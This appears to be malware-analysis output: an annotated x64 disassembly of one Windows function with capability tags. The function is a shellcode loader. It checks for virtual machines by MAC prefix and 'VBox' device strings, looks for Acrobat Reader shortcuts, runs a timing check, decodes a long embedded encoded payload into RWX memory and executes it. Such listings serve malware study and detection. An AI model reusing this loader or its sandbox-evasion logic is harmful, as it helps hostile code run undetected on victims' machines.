Function at 0x140002c10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get mac address on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov qword [rbp + 8], 0xfffffffffffffffe
mov qword [rsp + 0x780], rbx
xor edi, edi
mov dword [rbp + 0x698], edi
lea rdx, [0x140001a70]
lea ecx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call fcn.140001bb0
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 0x19]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
movdqa xmm0, xmmword [0x140013920]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], di
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], di
jne 0x140002c90
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.1400022b0
mov dword [rbp + 0x698], 1
lea r8, str.Acrobat_Reader_DC.lnk
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x68]
call fcn.140001040
nop
lea r8, str.Acrobat_Reader_9.lnk
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x40]
call fcn.140001040
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rsi, 0xffffffffffffffff
jne 0x140002dcd
cmp rax, rsi
jne 0x140002dcd
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002d72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036e5
call fcn.140003ae8
movdqa xmm0, xmmword [0x140013920]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], di
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x140002dc6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036eb
call fcn.140003ae8
mov bl, 1
jmp 0x140002e77
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002e21
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036f1
call fcn.140003ae8
movdqa xmm0, xmmword [0x140013920]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], di
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x140002e75
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036f7
call fcn.140003ae8
xor bl, bl
mov rdx, qword [rbp - 0x40]
cmp rdx, 8
jb 0x140002eb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002eb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036fd
call fcn.140003ae8
test bl, bl
je 0x1400036a6
mov qword [rsp + 0x60], rdi
mov ecx, 0x2c0
call fcn.140003aac
mov rbx, rax
test rax, rax
je 0x140002ee8
xor edx, edx
mov r8d, 0x2c0
mov rcx, rax
call fcn.140005660
jmp 0x140002eeb
mov rbx, rdi
mov dword [rbp + 0x690], 8
lea rdx, [rbp + 0x690]
mov rcx, rbx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x140002f33
mov edx, 0x2c0
mov rcx, rbx
call fcn.140003ae8
mov ecx, dword [rbp + 0x690]
call fcn.140003af0
mov rbx, rax
lea rdx, [rbp + 0x690]
mov rcx, rax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
xor sil, sil
test eax, eax
jne 0x140002f4b
test rbx, rbx
je 0x140002f9e
mov rsi, qword [rbx + 0x198]
mov qword [rsp + 0x60], rsi
test rbx, rbx
je 0x140002f5d
mov edx, 0x2c0
mov rcx, rbx
call fcn.140003ae8
test sil, sil
jne 0x140002f9e
movzx eax, byte [rsp + 0x61]
cmp al, 5
jne 0x140002f7a
cmp byte [rsp + 0x62], 0x69
jne 0x140002f9e
mov r14d, 1
jmp 0x140002fa1
cmp al, 0xc
jne 0x140002f8d
cmp byte [rsp + 0x62], 0x29
jne 0x140002f9e
mov r14d, 1
jmp 0x140002fa1
cmp al, 0x50
jne 0x140002f9e
cmp byte [rsp + 0x62], 0x56
mov r14d, 1
je 0x140002fa1
mov r14d, edi
mov esi, edi
mov r9d, 6
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SETUPAPI.dll_SetupDiGetClassDevsA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003049
xor edx, edx
mov dword [rbp - 0x38], 0x20
lea r8, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInfo]
test eax, eax
je 0x14000303e
inc esi
lea rax, [rbp + 0x690]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x400
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8d, 4
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyA]
test eax, eax
je 0x140003033
lea rdx, str.VBox
lea rcx, [rbp + 0x240]
call fcn.140004960
test rax, rax
jne 0x140003037
mov edx, esi
jmp 0x140002fc5
mov esi, 1
jmp 0x140003040
mov esi, edi
mov rcx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupDiDestroyDeviceInfoList]
test r14d, r14d
jne 0x1400036a6
test esi, esi
jne 0x1400036a6
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], sil
mov r8d, 0x1292
lea rdx, str.p8sokeDr03OiTM00003XF04rpdL31ss6i877380EwY3p5hvtfqorO9LToo699qD8o5i8NRrp2WIAN6s8lBQE286TtgSq8rC0Ag4130nLj01rajiR084lWRt102gMyO1r0ZKYq8p20dbTo6phyf7748A6Ez615GMih02rmri5621P8bT9oqP53Rrq9Rh8g55qPvKP5q5GphVq5qwLVn9trQcSYs6tA1hKstr5UHd617l8xPs1oxyRd924FDwQo40031w1354lMx3p6zs4Tr8rjMU8s2sEOdo5q7OMGOro73SmY7o8opIhtt0JKDGt3rjsci37t50765p5Tp799154Uzn0q7tAvw194UdE5sp4m3gKr58ki2Brt2gUl6138Gfm8sq7G1Vhps767rZ20pGXtYrrp8xTR03psOaY7o3vGRSrp5BZeQp6t2msS724aiOOp1oT6D7s96pRbQr26mVQj3t2MDKfq45OfRsorqr9KAp96ghnA2q85P0Xq49Ds4St1s8BS5036IKph514AtfH4r4P2LL245vyS4t712XUp25pcTVFq54pdoM5rqTO3nrqrm1CzqrqScxf858Gcd20s8mNPk025xS2H51qm1Mr9rtqlbyrotNYcD610kOTU989C41Dr94eNji2r2hYTMq09IGWg918vGFT06qOD3H90onIbTs7sWAvT67okbO3384H1aks7oeNd1p7ta2lRo0pC2LWr66mI7As58OmwI012WrQJ998JbTY002W3Dit6syRdB28q8LiY9q2DkLZ931SZJe0t1oqCS593iLnG1t20inr4s0QWaY7o4SUmvs08G2vX402D5Cj37pQ6oTrsqcM2728rMEiW0109M1Q42rNF8R941lEo3551BQtCt9s6gih83pHpbi592vfym018VGhTqr58P9o7qoSVjS686J6Sk18573st1503o0z7p37Q1Vos4EDW9t0tUBvt8qppFiwqo8yZLJo2pEAXi748AZz7521GVRe7o9XDYD6rtt4jC6ss5PjV3r0GUkm19tyk2V4opq6Cvs0tEkgks07hQgxt7rpYN266tvQP9550bjev55q5ofF9t38zIz369MgZB1q9CaqS672fmlI03scjto2s1I380s0tohdRop2boXP887OxrC63o4MNr7qrjHGV85qZtAot33TnNi292jeRKo78nX2A3031MI8stpxNlrt93FIqKq2tIfAI4q6iOBx9o6Tw4Irr94yZO6srbXWk7trmBq1847Elaes7tCasI2o0LRVP7t4wOcG6qrnkmd5o0rVRn989qR0R524pNjGqt5wy4T754PbFK1q5DS7Nr8tHzSG2s7CfT7s3tjPBT7rtXPOT60pHfik7722ywUp29bf3Dot1aKKW380K0Nl808HmpL07ryGX996q0Ts4r55g03T122NZUo35snQpoqpqpvZpoqoGprEqo5g1dC0514AQz1658lrJ784VbUl2569NI3004FWiQ872YWdA475jw2rr07h3fp413Ul5X64oq3AE3r9NnRms49DHz4q84EanUo91AHNv2587P8Nq18x8LG0t62v1f173dFVZ57tgXU7r38sgwd3trjIZ91qqfwgr072VI551tqjR3Ltp8aCeO200gNxv0522VffopsW7Zfoo1M8H290snYG8967GiDPt25wXZVq08Oz4O3p35K547p19dOQt5tBdR20438aPVr39hckI51oIFrQs0potOy68of7eg7psT3Hztt5Khnkt5tQXye551hMwQ3ssmSJEsq3AoAl132lAgn020xJh79prje4A78pytZV6rrKZxTq74A4ka707MZ74070gh7o6prZBMxo75oOOsor8vTo8210ZjvA681JsK5732hYlI78oWzP21o0SPRIt68KwdQo45UdS0824qeTt5793SE4787sQyB776hjwI713tKZ8t8syvUVt2rfCdkr1rIgsZ1958bchs76vXx440te9sh6219FlGqr0EJjw104fdVgstssxTS50pYmb2939n4q0292f0aC02sg7594s32RmJ626atY8qq1C0NY5q5Bsfsr5r1PGI9t0eUAiq3rGNyY15oBlcy1o0Vj1Vo0pZkrB004GdZz787l6VO7761ZJH759LR7it0pLnPg7orlAj0041HJzHr3totIO0698z2f02r8GMItp5iIKGts4gmBC58scVI2p04TkzitqsYKlct67exUi6qsUhxP2t391U58r6YKbJ4t3UhcY9t50sKY8o4gtco349FSHl1p4si1a8q9chmJqqpZFc54qtysmB368Ae9Tpr8OOGA937AUgN363QNcZ447BYAqo7owqoX361X3q91o5EM0M176yXGO5t7q1Oq784oxx912sKdRjqo5qDlr81oKejx1025bXr046Nv6D87qZsIf8t6HlE31soX1HAqrrffzCs35j93b483L8SG4orRMJo4tsyiKT482YJ2N41pa16yto3hD7D635QF1a8s8AiNq101A8vYsp1j6kN9704hfXq5491UU5rqTIpjo713MvW79sV7kMop6l5R26rrVEpl137Daty3o7lOsW422clTjpr0AISJ41swWly139xkhZ85pOKcZt49djOyr02QnzD2s3Cxjs0016lh90sodTnp379h8xWo13zjrC7prtOsVr171dsh6oo51r0t46i6aX68pwsST959m5SKq13qSncq92BzNro16q69s8qtpmfD2ssLcts888WT2a57thMH5o3tcSXa20qox3ss50jbOn0q2RfRW1pongtl86t5hF8t7pkgqL0qqTKkm70teKU2033ARWdprpzQrS909xgd869sSMal118W7qOpp9AoV440raw3l535jSkF398AHWe406UaDp97oLjZ5568Zgynqq3AIyU295pzfT8rspxkq654RibStqsmJF4s147YEPsqpHMObp38rKUB818rrzfo32RfLI3spnJFh686jwJ84664meTs56Dgol58rXDUD059tfQ3so1GfVFt66LW3Kp36xeTRq17AksYt72XPDjo93Qnf8070ZF6f721AOPLo01OOJyo62vXLtrq2fpIi138OwbZr64DrUdts3g9qc0497Exmq0ojtkg668MHM2619lDv464ocbyg5r0Gyskr9r0gkL37rT1sIqo3a1fk297wywI076DpVzs44v9Wdoq5knM63tpeJt9399aAT2qp8U60Y78qNOWwop5ZMb6399q74Up12WYst7soKhbn39osCSw3o9vWdK3o6hUWT48tIges23sXpgO8oqIcoT0q9xyy92s7Km8E8r3zKcZ462v45Ct87GPQO389HlPYop2VOSY6rpv28O49phmVQ3r6bMP5qo2dS2l76qcmmso2sQ4E58792exP8s73OSB7t1QaIR424VkjGo4qtb57275a5bIr02dGlkps49H9p1383TVF2o17fIsrq7UCtIs2o57CNpo8YbL354srOAy063HCpSq9qByHE258jUIh7ppI98M40qRDos937Wxjm3spMONbt81T3Py4o71tlMo04KQMlr04kRFkt387VTvp09MBYb15rpZLl723gYZG0q9gWWJp1410vnqq2M29N31115de4ttMPySpq4oAyW6q13rPc243fgP633p93l6t41qmJy279hqNAp26rXdg61rnCkhst11OvSs6syin7o81ZALk59969Rfo17Ybdbt8t2YiAp77ARdt4qqZlhCtq6pmhy3rpRvl32582RVC09sQf9P3182XTQr1sFXt6668kU3n619rS2S676pk3Bt60KcZF5pqW58x342fgn74to6wG06otJ0i022pLqwr661cYib06sZKIit2pMOVJo8sdhhK20owQZwsr2UQqB141eY8h4ssN3AMq4tCxgT6s6KAc9tqt4b77q86nBZd51sOgz9833hizC668YSXnr0shFs8o6tQ26Cr0pFwbf1q44qrY6p6A3nRp6psqXl2ptliFUr8qtHKX353sINO525cKH625te1rw592UQx1tspVms4spsKqvrpspeWUDs4tTWELr05q2Vd0o2U7P8594HmbE2
lea rcx, [rbp - 0x78]
call fcn.140002160
nop
call fcn.14000825c
mov ebx, eax
call fcn.14000825c
sub eax, ebx
cmp eax, 0x7d0
jl 0x140003088
mov r9d, 0x10
lea r8, [0x140013808]
lea rdx, str.Word
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movdqa xmm0, xmmword [0x140013930]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov r8d, 0x34
lea rdx, str.zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA
lea rcx, [rbp - 0x38]
call fcn.140002160
nop
lea rax, [rsp + 0x68]
mov qword [rbp + 0x690], rax
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x68]
call fcn.140001250
mov rbx, rax
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x10]
call fcn.140001250
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400023e0
mov rbx, rax
lea rax, [rbp - 0x78]
cmp rax, rbx
je 0x140003148
lea rcx, [rbp - 0x78]
call fcn.140001330
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140003186
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003180
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003703
call fcn.140003ae8
nop
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
xor r8d, r8d
lea rdx, [0x140012488]
lea rcx, [rsp + 0x68]
call fcn.140002160
mov dword [rbp + 0x698], 0x11
lea r15, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r15, qword [rbp - 0x78]
mov r14, r15
lea rcx, [rbp - 0x78]
cmovae rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x68]
add rdx, rcx
mov r12, rdx
sub r12, r15
cmp r15, rdx
cmova r12, rdi
test r12, r12
je 0x140003299
mov r13d, 0x41
movsx ebx, byte [r14]
mov esi, ebx
mov ecx, ebx
call fcn.140008118
test eax, eax
je 0x140003242
mov ecx, ebx
call fcn.140008194
mov ecx, eax
mov eax, 0x61
test ecx, ecx
cmovne eax, r13d
sub esi, eax
add esi, 0x14
mov eax, 0x4ec4ec4f
imul esi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
mov ebx, esi
sub ebx, eax
mov eax, 0x61
test ecx, ecx
cmovne eax, r13d
add bl, al
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
cmp rcx, rdx
jae 0x140003272
lea rax, [rcx + 1]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x68]
mov byte [rax + rcx], bl
mov byte [rax + rcx + 1], 0
jmp 0x140003287
movzx r9d, bl
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x68]
call fcn.1400010f0
inc r14
mov rax, r14
sub rax, r15
cmp rax, r12
jne 0x1400031f3
lea rcx, [rbp - 0x78]
call fcn.140001330
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rbp - 0x68], xmm1
mov rbx, rdi
mov qword [rsp + 0x50], rbx
mov r13d, 0xf
mov qword [rsp + 0x58], r13
mov byte [rsp + 0x40], bl
mov dword [rbp + 0x698], 0x29
mov r15d, edi
mov esi, edi
movq r12, xmm1
test r12, r12
je 0x14000337e
mov r14, rdi
nop dword [rax + rax]
mov eax, 0x55555556
imul r15d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r15d, ecx
jne 0x140003313
test r15d, r15d
je 0x140003313
add esi, 4
add r14, 4
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x80], 0x10
cmovae rax, qword [rsp + 0x68]
movzx r9d, byte [rax + r14]
cmp rbx, r13
jae 0x14000334f
lea rax, [rbx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp r13, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x140003360
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x40]
call fcn.1400010f0
inc r15d
inc esi
inc r14
movsxd rax, esi
mov r13, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
cmp rax, r12
jb 0x1400032f0
lea rcx, [rbp - 0x78]
call fcn.140001330
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x68], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea r14, [rbp - 0x78]
movq r12, xmm1
cmp r13, 0x10
cmovae r14, r12
cmp rbx, 0x10
jae 0x1400033d1
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x58], 0xf
jmp 0x140003451
mov rsi, rbx
or rsi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
cmova rsi, rax
lea rax, [rsi + 1]
cmp rax, 0x1000
jb 0x140003426
lea rcx, [rax + 0x27]
cmp rcx, rax
mov rax, 0xffffffffffffffff
cmovbe rcx, rax
call fcn.140003aac
mov rcx, rax
test rax, rax
je 0x140003709
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003438
test rax, rax
je 0x140003435
mov rcx, rax
call fcn.140003aac
jmp 0x140003438
mov rax, rdi
mov qword [rsp + 0x40], rax
lea r8, [rbx + 1]
mov rdx, r14
mov rcx, rax
call fcn.140005200
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rbx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.140001250
mov r9, rax
mov edx, 1
lea r8d, [rdx + 1]
lea rcx, [rbp - 0x58]
call fcn.1400015f0
nop
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rax, qword [rbp - 0x58]
mov qword [rbp + 0x698], rax
mov r14, qword [rsp + 0x50]
lea ecx, [r14 + 0xb]
mov eax, 0x2aaaaaab
imul ecx
mov r15d, edx
sar r15d, 1
mov eax, r15d
shr eax, 0x1f
add r15d, eax
lea eax, [r14 + 1]
movsxd rdx, eax
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x690], rax
mov edx, 0x64
lea rcx, [rbp - 0x18]
call fcn.140002700
nop
mov rcx, qword [rbp + 0x690]
test rcx, rcx
je 0x14000355e
mov esi, edi
test r15d, r15d
jle 0x14000354f
mov eax, 0xc
nop word [rax + rax]
mov ebx, r14d
sub ebx, edi
cmp ebx, 0xc
cmovg ebx, eax
movsxd rax, edi
movsxd r8, ebx
mov rdx, qword [rbp + 0x698]
add rdx, rax
add rcx, rax
call fcn.140005200
add edi, ebx
cmp edi, r14d
jge 0x14000353f
inc esi
cmp esi, r15d
mov rcx, qword [rbp + 0x690]
mov eax, 0xc
jl 0x140003500
jmp 0x14000354f
mov rax, qword [rbp + 0x690]
call rax
mov rcx, qword [rbp + 0x690]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140003599
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003594
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000370f
call fcn.140003ae8
movdqa xmm0, xmmword [0x140013930]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x1400035e5
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003715
call fcn.140003ae8
movdqa xmm0, xmmword [0x140013930]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140003634
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000362e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000371b
call fcn.140003ae8
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140003670
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000366a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003721
call fcn.140003ae8
nop
cmp r13, 0x10
jb 0x1400036bf
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000369c
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036df
mov rcx, r12
call fcn.140003ae8
jmp 0x1400036bf
xor r9d, r9d
lea r8, [0x140013808]
lea rdx, str.Word
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
mov rbx, qword [rsp + 0x780]
add rsp, 0x740
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
int3
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
nop
call fcn.140007bac
int3